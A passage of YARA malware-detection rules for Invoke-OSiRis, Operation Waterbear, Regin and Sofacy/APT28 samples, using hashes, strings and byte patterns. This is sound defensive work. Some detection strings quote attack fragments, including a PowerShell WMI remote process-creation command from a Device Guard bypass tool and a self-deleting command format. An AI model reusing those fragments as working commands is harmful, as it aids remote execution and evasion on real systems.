	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and 1 of them
}

rule Invoke_OSiRis
{
	meta:
		description = "Osiris Device Guard Bypass - file Invoke-OSiRis.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-03-27"
		hash1 = "19e4a8b07f85c3d4c396d0c4e839495c9fba9405c06a631d57af588032d2416e"
		id = "b9f4e5dd-2366-5898-9f46-17584139469f"

	strings:
		$x1 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create -Arg $ObfusK -Computer $Target" fullword ascii
		$x2 = "Invoke-OSiRis" ascii
		$x3 = "-Arg@{Name=$VarName;VariableValue=$OSiRis;UserName=$env:Username}" fullword ascii
		$x4 = "Device Guard Bypass Command Execution" fullword ascii
		$x5 = "-Put Payload in Win32_OSRecoveryConfiguration DebugFilePath" fullword ascii
		$x6 = "$null = Iwmi Win32_Process -EnableA -Impers 3 -AuthenPacketprivacy -Name Create" fullword ascii

	condition:
		1 of them
}

rule Waterbear_1_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5"
		id = "2202506a-6009-5321-a8b2-df3bff51d06f"

	strings:
		$s1 = "\\Release\\svc.pdb" ascii
		$s2 = "svc.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them )
}

rule Waterbear_2_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "dcb5c350af76c590002a8ea00b01d862b4d89cccbec3908bfe92fdf25eaa6ea4"
		id = "d3178f01-90a8-5a82-9c95-40bf8e9b567f"

	strings:
		$s1 = "downloading movie" fullword ascii
		$s2 = "name=\"test.exe\"/>" fullword ascii
		$s3 = "<description>Test Application</description>" fullword ascii
		$s4 = "UI look 2003" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule Waterbear_4_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "2e9cb7cadb3478edc9ef714ca4ddebb45e99d35386480e12792950f8a7a766e1"
		id = "c7941f92-12ee-5d57-b58e-c8caf74ca6ba"

	strings:
		$x1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" fullword ascii
		$s1 = "Wininet.dll InternetOpenA InternetConnectA HttpOpenRequestA HttpSendRequestA HttpQueryInfoA InternetReadFile InternetCloseHandle" fullword ascii
		$s2 = "read from pipe:%s" fullword ascii
		$s3 = "delete pipe" fullword ascii
		$s4 = "cmdcommand:%s" fullword ascii
		$s5 = "%s /c del %s" fullword ascii
		$s6 = "10.0.0.250" fullword ascii
		$s7 = "Vista/2008" fullword ascii
		$s8 = "%02X%02X%02X%02X%02X%02X%04X" fullword ascii
		$s9 = "UNKOWN" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 3 of them )
}

rule Waterbear_5_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		modified = "2023-01-07"
		hash1 = "d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d"
		id = "f92fe6d5-0afa-50a1-bdcf-c6dd78aa6809"

	strings:
		$a1 = "ICESWORD" fullword ascii
		$a2 = "klog.dat" fullword ascii
		$s1 = "\\cswbse.dll" ascii
		$s2 = "WIRESHARK" fullword ascii
		$s3 = "default_zz|" fullword ascii
		$s4 = "%c4%u-%.2u-%.2u %.2u:%.2u" fullword ascii
		$s5 = "1111%c%s" fullword ascii

	condition:
		( uint16( 0 ) == 0x3d53 and filesize < 100KB and ( all of ( $a* ) or 3 of them ) )
}

rule Waterbear_6_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230"
		id = "86d203be-2d3a-54f2-b851-9080d5be36f5"

	strings:
		$s1 = "svcdll.dll" fullword ascii
		$s2 = "log.log" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them )
}

rule Waterbear_7_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134"
		id = "4613df5b-495e-5738-9b7f-ac8ff586cd17"

	strings:
		$s1 = "Bluthmon.exe" fullword wide
		$s2 = "Motomon.exe" fullword wide
		$s3 = "%d.%s%d%d%d" fullword ascii
		$s4 = "mywishes.hlp" fullword ascii
		$s5 = "filemon.rtf" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 80KB and all of them )
}

rule Waterbear_8_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		modified = "2023-01-07"
		hash1 = "bd06f6117a0abf1442826179f6f5e1932047b4a6c14add9149e8288ab4a902c3"
		hash1 = "5dba8ddf05cb204ef320a72a0c031e55285202570d7883f2ff65135ec35b3dd0"
		id = "5ebeda22-ad67-5715-b42f-9b4bb5dcde94"

	strings:
		$s1 = "Update.dll" fullword ascii
		$s2 = "ADVPACK32.DLL" fullword wide
		$s3 = "\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\" ascii
		$s4 = "\\drivers\\sftst.sys" ascii
		$s5 = "\\\\.\\SFilter" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 40KB and all of them )
}

rule Waterbear_9_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "fc74d2434d48b316c9368d3f90fea19d76a20c09847421d1469268a32f59664c"
		id = "727cdb55-ede5-5520-9aa9-5a265b5aeba1"

	strings:
		$s1 = "ADVPACK32.DLL" fullword wide
		$s2 = "ADVPACK32" fullword wide
		$a1 = "U2_Dll.dll" fullword ascii
		$b1 = "ProUpdate" fullword ascii
		$b2 = "Update.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and all of ( $s* ) and ( $a1 or all of ( $b* ) )
}

rule Waterbear_10_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41"
		id = "1219c3e6-1001-5075-b7fc-e0d8a7de6a65"

	strings:
		$s1 = "ADVPACK32.DLL" fullword wide
		$s5 = "ADVPACK32" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and all of them )
}

rule Waterbear_11_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8"
		id = "d7eb7561-c84e-5149-920c-35ad225ca8a9"

	strings:
		$s1 = "/Pages/%u.asp" fullword wide
		$s2 = "NVIDIA Corporation." fullword wide
		$s3 = "tqxbLc|fP_{eOY{eOX{eO" fullword ascii
		$s4 = "Copyright (C) 2005" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and all of them )
}

rule Waterbear_12_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "15d9db2c90f56cd02be38e7088db8ec00fc603508ec888b4b85d60d970966585"
		id = "cc0a071c-c409-57a2-80c5-dd93ca7db339"

	strings:
		$s1 = "O_PROXY" fullword ascii
		$s2 = "XMODIFY" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule Waterbear_13_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		super_rule = 1
		hash1 = "734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23"
		hash2 = "8bde3f71575aa0d5f5a095d9d0ea10eceadba38be888e10d3ca3776f7b361fe7"
		hash3 = "c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1"
		id = "425aaed4-879e-5caf-808b-14de98f628e8"

	strings:
		$s1 = "%WINDIR%\\PCHealth\\HelpCtr\\Binaries\\pchsvc.dll" fullword ascii
		$s2 = "brnew.exe" fullword ascii
		$s3 = "ChangeServiceConfig failed (%d)" fullword ascii
		$s4 = "Proxy %d:%s %d" fullword ascii
		$s5 = "win9807.tmp" fullword ascii
		$s7 = "Service stopped successfully" fullword ascii
		$s8 = "current dns:%s" fullword ascii
		$s9 = "%c%u|%u|%u|%u|%u|" fullword ascii
		$s10 = "[-]send %d: " fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 4 of them )
}

rule Waterbear_14_Jun17
{
	meta:
		description = "Detects malware from Operation Waterbear"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/L9g9eR"
		date = "2017-06-23"
		hash1 = "00a1068645dbe982a9aa95e7b8202a588989cd37de2fa1b344abbc0102c27d05"
		hash2 = "53330a80b3c4f74f3f10a8621dbef4cd2427723e8b98c5b7aed58229d0c292ba"
		hash3 = "bdcb23a82ac4eb1bc9254d77d92b6f294d45501aaea678a3d21c8b188e31e68b"
		id = "515d9400-3e2e-5ee5-a7dd-b313125c6482"

	strings:
		$s1 = "my.com/msg/util/sgthash" fullword ascii
		$s2 = "C:\\recycled" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 8000KB and all of them )
}

rule Regin_APT_KernelDriver_Generic_A
{
	meta:
		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
		author = "@Malwrsignatures - included in APT Scanner THOR"
		date = "23.11.14"
		hash1 = "187044596bc1328efa0ed636d8aa4a5c"
		hash2 = "06665b96e293b23acc80451abb413e50"
		hash3 = "d240f06e98c8d3e647cbf4d442d79475"
		id = "4cea1d45-b797-51b2-baa7-e66c8c0206ea"

	strings:
		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
		$m1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
		$s0 = "atapi.sys" fullword wide
		$s1 = "disk.sys" fullword wide
		$s3 = "h.data" fullword ascii
		$s4 = "\\system32" ascii
		$s5 = "\\SystemRoot" ascii
		$s6 = "system" fullword ascii
		$s7 = "temp" fullword ascii
		$s8 = "windows" fullword ascii
		$x1 = "LRich6" fullword ascii
		$x2 = "KeServiceDescriptorTable" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $m0 at 0 and $m1 and all of ( $s* ) and 1 of ( $x* )
}

rule Regin_APT_KernelDriver_Generic_B
{
	meta:
		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
		author = "@Malwrsignatures - included in APT Scanner THOR"
		date = "23.11.14"
		hash1 = "ffb0b9b5b610191051a7bdf0806e1e47"
		hash2 = "bfbe8c3ee78750c3a520480700e440f8"
		hash3 = "b29ca4f22ae7b7b25f79c1d4a421139d"
		hash4 = "06665b96e293b23acc80451abb413e50"
		hash5 = "2c8b9d2885543d7ade3cae98225e263b"
		hash6 = "4b6b86c7fec1c574706cecedf44abded"
		hash7 = "187044596bc1328efa0ed636d8aa4a5c"
		hash8 = "d240f06e98c8d3e647cbf4d442d79475"
		hash9 = "6662c390b2bbbd291ec7987388fc75d7"
		hash10 = "1c024e599ac055312a4ab75b3950040a"
		hash11 = "ba7bb65634ce1e30c1e5415be3d1db1d"
		hash12 = "b505d65721bb2453d5039a389113b566"
		hash13 = "b269894f434657db2b15949641a67532"
		id = "14f31b2d-4753-54e8-891a-e28689ba57db"

	strings:
		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
		$s1 = { 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e }
		$s2 = "H.data" fullword ascii nocase
		$s3 = "INIT" fullword ascii
		$s4 = "ntoskrnl.exe" fullword ascii
		$v1 = "\\system32" ascii
		$v2 = "\\SystemRoot" ascii
		$v3 = "KeServiceDescriptorTable" fullword ascii
		$w1 = "\\system32" ascii
		$w2 = "\\SystemRoot" ascii
		$w3 = "LRich6" fullword ascii
		$x1 = "_snprintf" ascii
		$x2 = "_except_handler3" ascii
		$y1 = "mbstowcs" fullword ascii
		$y2 = "wcstombs" fullword ascii
		$y3 = "KeGetCurrentIrql" fullword ascii
		$z1 = "wcscpy" fullword ascii
		$z2 = "ZwCreateFile" fullword ascii
		$z3 = "ZwQueryInformationFile" fullword ascii
		$z4 = "wcslen" fullword ascii
		$z5 = "atoi" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $m0 at 0 and all of ( $s* ) and ( all of ( $v* ) or all of ( $w* ) or all of ( $x* ) or all of ( $y* ) or all of ( $z* ) ) and filesize < 20KB
}

rule Regin_APT_KernelDriver_Generic_C
{
	meta:
		description = "Generic rule for Regin APT kernel driver Malware - Symantec http://t.co/qu53359Cb2"
		author = "@Malwrsignatures - included in APT Scanner THOR"
		date = "23.11.14"
		hash1 = "e0895336617e0b45b312383814ec6783556d7635"
		hash2 = "732298fa025ed48179a3a2555b45be96f7079712"
		id = "2006b3f0-abd1-5274-8b18-75368671e062"

	strings:
		$m0 = { 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 }
		$s0 = "KeGetCurrentIrql" fullword ascii
		$s1 = "5.2.3790.0 (srv03_rtm.030324-2048)" fullword wide
		$s2 = "usbclass" fullword wide
		$x1 = "PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING" ascii
		$x2 = "Universal Serial Bus Class Driver" fullword wide
		$x3 = "5.2.3790.0" fullword wide
		$y1 = "LSA Shell" fullword wide
		$y2 = "0Richw" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and $m0 at 0 and all of ( $s* ) and ( all of ( $x* ) or all of ( $y* ) ) and filesize < 20KB
}

rule Regin_sig_svcsstat
{
	meta:
		description = "Detects svcstat from Regin report - file svcsstat.exe_sample"
		author = "@MalwrSignatures"
		date = "26.11.14"
		hash = "5164edc1d54f10b7cb00a266a1b52c623ab005e2"
		id = "0cb493d7-c7f1-54c4-9805-d9894bf399da"

	strings:
		$s0 = "Service Control Manager" fullword ascii
		$s1 = "_vsnwprintf" ascii
		$s2 = "Root Agency" fullword ascii
		$s3 = "Root Agency0" fullword ascii
		$s4 = "StartServiceCtrlDispatcherA" fullword ascii
		$s5 = "\\\\?\\UNC" fullword wide
		$s6 = "%ls%ls" fullword wide

	condition:
		all of them and filesize < 15KB and filesize > 10KB
}

rule Regin_Sample_1
{
	meta:
		description = "Semiautomatically generated YARA rule - file-3665415_sys"
		author = "Florian Roth"
		date = "25.11.14"
		score = 70
		hash = "773d7fab06807b5b1bc2d74fa80343e83593caf2"

	strings:
		$s0 = "Getting PortName/Identifier failed - %x" fullword ascii
		$s1 = "SerialAddDevice - error creating new devobj [%#08lx]" fullword ascii
		$s2 = "External Naming Failed - Status %x" fullword ascii
		$s3 = "------- Same multiport - different interrupts" fullword ascii
		$s4 = "%x occurred prior to the wait - starting the" fullword ascii
		$s5 = "'user registry info - userPortIndex: %d" fullword ascii
		$s6 = "Could not report legacy device - %x" fullword ascii
		$s7 = "entering SerialGetPortInfo" fullword ascii
		$s8 = "'user registry info - userPort: %x" fullword ascii
		$s9 = "IoOpenDeviceRegistryKey failed - %x " fullword ascii
		$s10 = "Kernel debugger is using port at address %X" fullword ascii
		$s12 = "Release - freeing multi context" fullword ascii
		$s13 = "Serial driver will not load port" fullword ascii
		$s14 = "'user registry info - userAddressSpace: %d" fullword ascii
		$s15 = "SerialAddDevice: Enumeration request, returning NO_MORE_ENTRIES" fullword ascii
		$s20 = "'user registry info - userIndexed: %d" fullword ascii
		$fp1 = "Enter SerialBuildResourceList" ascii fullword

	condition:
		all of them and filesize < 110KB and filesize > 80KB and not $fp1
}

rule Regin_Sample_2
{
	meta:
		description = "Auto-generated rule - file hiddenmod_hookdisk_and_kdbg_8949d000.bin"
		author = "@MalwrSignatures"
		date = "26.11.14"
		hash = "a7b285d4b896b66fce0ebfcd15db53b3a74a0400"
		id = "1091a598-e964-5f67-9267-531d66831bee"

	strings:
		$s0 = "\\SYSTEMROOT\\system32\\lsass.exe" wide
		$s1 = "atapi.sys" fullword wide
		$s2 = "disk.sys" fullword wide
		$s3 = "IoGetRelatedDeviceObject" fullword ascii
		$s4 = "HAL.dll" fullword ascii
		$s5 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services" ascii
		$s6 = "PsGetCurrentProcessId" fullword ascii
		$s7 = "KeGetCurrentIrql" fullword ascii
		$s8 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
		$s9 = "KeSetImportanceDpc" fullword ascii
		$s10 = "KeQueryPerformanceCounter" fullword ascii
		$s14 = "KeInitializeEvent" fullword ascii
		$s15 = "KeDelayExecutionThread" fullword ascii
		$s16 = "KeInitializeTimerEx" fullword ascii
		$s18 = "PsLookupProcessByProcessId" fullword ascii
		$s19 = "ExReleaseFastMutexUnsafe" fullword ascii
		$s20 = "ExAcquireFastMutexUnsafe" fullword ascii

	condition:
		all of them and filesize < 40KB and filesize > 30KB
}

rule Regin_Sample_3
{
	meta:
		description = "Detects Regin Backdoor sample fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
		author = "@Malwrsignatures"
		date = "27.11.14"
		hash = "fe1419e9dde6d479bd7cda27edd39fafdab2668d498931931a2769b370727129"
		id = "eefc174f-4b17-5c90-8478-3eaaf80e9a78"

	strings:
		$s0 = "Service Pack x" fullword wide
		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" wide
		$s2 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" wide
		$s3 = "mntoskrnl.exe" fullword wide
		$s4 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager\\Memory Management" wide
		$s5 = "Memory location: 0x%p, size 0x%08x" wide fullword
		$s6 = "Service Pack" fullword wide
		$s7 = ".sys" fullword wide
		$s8 = ".dll" fullword wide
		$s10 = "\\REGISTRY\\Machine\\Software\\Microsoft\\Updates" wide
		$s11 = "IoGetRelatedDeviceObject" fullword ascii
		$s12 = "VMEM.sys" fullword ascii
		$s13 = "RtlGetVersion" fullword wide
		$s14 = "ntkrnlpa.exe" fullword ascii

	condition:
		uint32( 0 ) == 0xfedcbafe and all of ( $s* ) and filesize > 160KB and filesize < 200KB
}

rule Regin_Sample_Set_2
{
	meta:
		description = "Auto-generated rule - file SHF-000052 and ndisips.sys"
		author = "@MalwrSignatures"
		date = "26.11.14"
		hash1 = "8487a961c8244004c9276979bb4b0c14392fc3b8"
		hash2 = "bcf3461d67b39a427c83f9e39b9833cfec977c61"
		id = "0b21091d-413e-54dd-83d1-5d824fb013f2"

	strings:
		$s0 = "HAL.dll" fullword ascii
		$s1 = "IoGetDeviceObjectPointer" fullword ascii
		$s2 = "MaximumPortsServiced" fullword wide
		$s3 = "KeGetCurrentIrql" fullword ascii
		$s4 = "ntkrnlpa.exe" fullword ascii
		$s5 = "\\REGISTRY\\Machine\\System\\CurrentControlSet\\Control\\Session Manager" wide
		$s6 = "ConnectMultiplePorts" fullword wide
		$s7 = "\\SYSTEMROOT" wide
		$s8 = "IoWriteErrorLogEntry" fullword ascii
		$s9 = "KeQueryPerformanceCounter" fullword ascii
		$s10 = "KeServiceDescriptorTable" fullword ascii
		$s11 = "KeRemoveEntryDeviceQueue" fullword ascii
		$s12 = "SeSinglePrivilegeCheck" fullword ascii
		$s13 = "KeInitializeEvent" fullword ascii
		$s14 = "IoBuildDeviceIoControlRequest" fullword ascii
		$s15 = "KeRemoveDeviceQueue" fullword ascii
		$s16 = "IofCompleteRequest" fullword ascii
		$s17 = "KeInitializeSpinLock" fullword ascii
		$s18 = "MmIsNonPagedSystemAddressValid" fullword ascii
		$s19 = "IoCreateDevice" fullword ascii
		$s20 = "KefReleaseSpinLockFromDpcLevel" fullword ascii

	condition:
		filesize < 40KB and filesize > 30KB and all of them
}

rule Regin_Sample_Set_1
{
	meta:
		description = "Detects Regin Backdoor sample"
		author = "@MalwrSignatures"
		date = "27.11.14"
		modified = "2023-01-06"
		hash1 = "4139149552b0322f2c5c993abccc0f0d1b38db4476189a9f9901ac0d57a656be"
		hash2 = "e420d0cf7a7983f78f5a15e6cb460e93c7603683ae6c41b27bf7f2fa34b2d935"
		id = "b0f24a0b-10e7-5549-a300-516df8644cb0"

	strings:
		$hd = { fe ba dc fe }
		$s0 = "d%ls%ls" fullword wide
		$s1 = "\\\\?\\UNC" fullword wide
		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion" fullword wide
		$s4 = "SYSTEM\\CurrentControlSet\\Control\\Class\\{4D36E972-E325-11CE-BFC1-08002BE10318}" fullword wide
		$s5 = "System\\CurrentControlSet\\Services\\Tcpip\\Linkage" wide fullword
		$s6 = "\\\\.\\Global\\%s" fullword wide
		$s7 = "temp" fullword wide
		$s8 = "\\\\.\\%s" fullword wide
		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide
		$s10 = "sscanf" fullword ascii
		$s11 = "disp.dll" fullword ascii
		$s12 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
		$s13 = "%d.%d.%d.%d%c" fullword ascii
		$s14 = "imagehlp.dll" fullword ascii
		$s15 = "%hd %d" fullword ascii

	condition:
		($hd at 0 ) and all of ( $s* ) and filesize < 450KB and filesize > 360KB
}

rule apt_regin_legspin
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect Regin's Legspin module"
		version = "1.0"
		last_modified = "2015-01-22"
		modified = "2023-01-27"
		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
		md5 = "29105f46e4d33f66fee346cfd099d1cc"
		id = "2abd3605-d9bf-53f0-8521-ac8dc18d9fce"

	strings:
		$a1 = "sharepw"
		$a2 = "reglist"
		$a3 = "logdump"
		$a4 = "Name:" wide
		$a5 = "Phys Avail:"
		$a6 = "cmd.exe" wide
		$a7 = "ping.exe" wide
		$a8 = "millisecs"

	condition:
		uint16( 0 ) == 0x5A4D and all of ( $a* )
}

rule apt_regin_hopscotch
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect Regin's Hopscotch module"
		version = "1.0"
		last_modified = "2015-01-22"
		modified = "2023-01-27"
		reference = "https://securelist.com/blog/research/68438/an-analysis-of-regins-hopscotch-and-legspin/"
		md5 = "6c34031d7a5fc2b091b623981a8ae61c"
		id = "907042ba-8e64-5ca7-9a83-70c28af1ab99"

	strings:
		$a1 = "AuthenticateNetUseIpc"
		$a2 = "Failed to authenticate to"
		$a3 = "Failed to disconnect from"
		$a4 = "%S\\ipc$" wide
		$a5 = "Not deleting..."
		$a6 = "CopyServiceToRemoteMachine"
		$a7 = "DH Exchange failed"
		$a8 = "ConnectToNamedPipes"

	condition:
		uint16( 0 ) == 0x5A4D and all of ( $a* )
}

rule Regin_Related_Malware
{
	meta:
		description = "Malware Sample - maybe Regin related"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		score = 70
		reference = "VT Analysis"
		date = "2015-06-03"
		hash = "76c355bfeb859a347e38da89e3d30a6ff1f94229"
		id = "9377dd52-244f-5289-a2a3-88b6377b2dd2"

	strings:
		$s1 = "%c%s%c -p %d -e %d -pv -c \"~~[%x] s; .%c%c%s %s /u %s_%d.dmp; q\"" fullword wide
		$s0 = "Software\\Microsoft\\Windows NT\\CurrentVersion\\HotFix" fullword wide
		$s2 = "%x:%x:%x:%x:%x:%x:%x:%x%c" fullword ascii
		$s3 = "disp.dll" fullword ascii
		$s4 = "msvcrtd.dll" fullword ascii
		$s5 = "%d.%d.%d.%d%c" fullword ascii
		$s6 = "%ls_%08x" fullword wide
		$s8 = "d%ls%ls" fullword wide
		$s9 = "Memory location: 0x%p, size 0x%08x" fullword wide

	condition:
		$s1 or 3 of ( $s* )
}

import "pe"

rule Sofacy_Campaign_Mal_Feb18_cdnver
{
	meta:
		description = "Detects Sofacy malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/ClearskySec/status/960924755355369472"
		date = "2018-02-07"
		hash1 = "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8"
		id = "a5c72ddd-91b0-5410-9d81-38a138ec7efe"

	strings:
		$x1 = "cdnver.dll" fullword wide
		$x2 = { 25 73 0A 00 00 00 00 00 30 00 00 00 20 00 2D 00
              20 00 00 00 0A 00 00 00 25 00 73 00 00 00 00 00
              69 00 6D 00 61 00 67 00 65 00 2F 00 6A 00 70 00
              65 00 67 }
		$s1 = "S7%s - %lu" fullword ascii
		$s2 = "SNFIRNW" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 90KB and ( pe.imphash ( ) == "01f3d0fe6fb9d9df24620e67afc143c7" or 1 of ( $x* ) or 2 of them )
}

import "pe"

rule Sofacy_Trojan_Loader_Feb18_1
{
	meta:
		description = "Sofacy Activity Feb 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100"
		date = "2018-03-01"
		hash1 = "335565711db93cd02d948f472c51598be4d62d60f70f25a20449c07eae36c8c5"
		id = "358d7a77-0ff5-572e-9cd8-b2cebaace02f"

	strings:
		$x1 = "%appdata%\\nad.dll" fullword wide
		$s3 = "%appdata%\\nad.bat" fullword wide
		$s1 = "apds.dll" fullword ascii
		$s2 = "nad.dll\"" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "a2d1be6502b4b3c28959a4fb0196ea45" or pe.exports ( "VidBitRpl" ) or 1 of ( $x* ) or 2 of them )
}

import "pe"

rule APT_ATP28_Sofacy_Indicators_May19_1
{
	meta:
		description = "Detects APT28 Sofacy indicators in samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/cyb3rops/status/1129647994603790338"
		date = "2019-05-18"
		score = 60
		hash1 = "80548416ffb3d156d3ad332718ed322ef54b8e7b2cc77a7c5457af57f51d987a"
		hash2 = "b40909ac0b70b7bd82465dfc7761a6b4e0df55b894dd42290e3f72cb4280fa44"
		id = "ca768b60-7094-537a-b848-28bd42555287"

	strings:
		$x1 = "c:\\Users\\user\\Desktop\\openssl-1.0.1e_m\\/ssl/cert.pem" ascii
		$x2 = "C:\\Users\\User\\Desktop\\Downloader_Poco" ascii
		$s1 = "w%SystemRoot%\\System32\\npmproxy.dll" fullword wide
		$op0 = { e8 41 37 f6 ff 48 2b e0 e8 99 ff ff ff 48 8b d0 }
		$op1 = { e9 34 3c e3 ff cc cc cc cc 48 8d 8a 20 }
